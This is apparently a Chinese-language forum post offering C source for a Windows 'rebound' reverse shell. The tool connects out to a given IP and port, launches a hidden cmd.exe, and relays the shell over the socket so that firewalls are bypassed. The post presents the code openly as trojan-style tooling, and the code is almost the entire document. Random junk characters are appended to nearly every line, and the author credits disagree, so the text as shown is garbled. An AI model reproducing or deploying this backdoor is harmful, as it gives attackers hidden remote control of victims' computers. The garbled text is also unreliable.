这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4m[C-NB!g
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/* ============================== JX$NEq(
Rebound port in Windows NT (g2r\hI
By wind,2006/7 NF(IF.8G
===============================*/ XAxI?y[c
#include )/T$H|
#include S Y>,kwHO
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#pragma comment(lib,"wsock32.lib") 7cP[o+
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void OutputShell(); 1S]gD&V
SOCKET sClient; IH5} Az
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; '7LJuMp$#
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void main(int argc,char **argv) UEQ'D9
{ ~eOj:H
WSADATA stWsaData; ;E? hz
int nRet; DEp%\sj?
SOCKADDR_IN stSaiClient,stSaiServer; lJ] \
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h
if(argc != 3) mx(%tz^t
{ 2|H91Y2
printf("Useage:\n\rRebound DestIP DestPort\n"); 9eN2)a/
return; o- QG&
]
} K!D!b'|bb
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WSAStartup(MAKEWORD(2,2),&stWsaData); R{xyme@"^
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VfA5r`^
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stSaiClient.sin_family = AF_INET; wH_n$w
stSaiClient.sin_port = htons(0); iraRB~
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); -=t3O#
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) IL[|CB1v
{ E%\7Uo-
printf("Bind Socket Failed!\n"); EfBVu
return; !k= 0X\5L
} azDC'.3{p
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stSaiServer.sin_family = AF_INET; n:^"[Le
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); zhX`~){N6
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); HMS9y%zl/
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #C,f/PXfaB
{ bu"68A;>
printf("Connect Error!"); 3+8"
return; ,+f0cv4
} ZYA.1VrM
OutputShell(); 7=p-A_X
} m!#)JFe67
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void OutputShell() B`?N0t%X
{ rv%ye
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char szBuff[1024]; C=dx4U~
SECURITY_ATTRIBUTES stSecurityAttributes; *n*N|6+
OSVERSIONINFO stOsversionInfo; PZ!dn%4jy
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #?$'nya*u
STARTUPINFO stStartupInfo; X#kjt)W
char *szShell; ZP63Alt
PROCESS_INFORMATION stProcessInformation; u_6BHsU
unsigned long lBytesRead; _+Jf.n20
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); dp[w?AMhM9
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Id.Z[owC`Y
stSecurityAttributes.lpSecurityDescriptor = 0; rxy{a
stSecurityAttributes.bInheritHandle = TRUE; lR@i`)'?U
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); io9xI3{
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 16[-3cJ T
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^QXw[th!d
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zOiY0`=
stStartupInfo.wShowWindow = SW_HIDE; JwI`"$>w
stStartupInfo.hStdInput = hReadPipe; ;la#Vf:]
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; s7.p$r
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GetVersionEx(&stOsversionInfo); 8R)D ! 7[l
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switch(stOsversionInfo.dwPlatformId) s?@)a,C%k
{ <nb3~z1
case 1: $p0 /6c
szShell = "command.com"; vlPl(F1
break; FV^4
default: 0 .FHdJ<
szShell = "cmd.exe"; 1~R$$P11[9
break; R*Xu(89
} sMz^!RX@
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &'huS?gA9
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send(sClient,szMsg,77,0); $/, BJ/9
while(1) 0E?s>-b
{ 62MRI
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @QVqpE<|
if(lBytesRead) y7M:b Uh
{ ?y>Y$-v/C
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `\/toddUh[
send(sClient,szBuff,lBytesRead,0); Y(hW(bd;
} l- 1]w$
y
else $*AC>i\
{ ol$2sI=.s
lBytesRead=recv(sClient,szBuff,1024,0); GJIWG&C03
if(lBytesRead<=0) break; %_b^!FR
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {*?sVAvj
} R,x> $n
} SLJ&{`"7
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return; Q5p+ W
}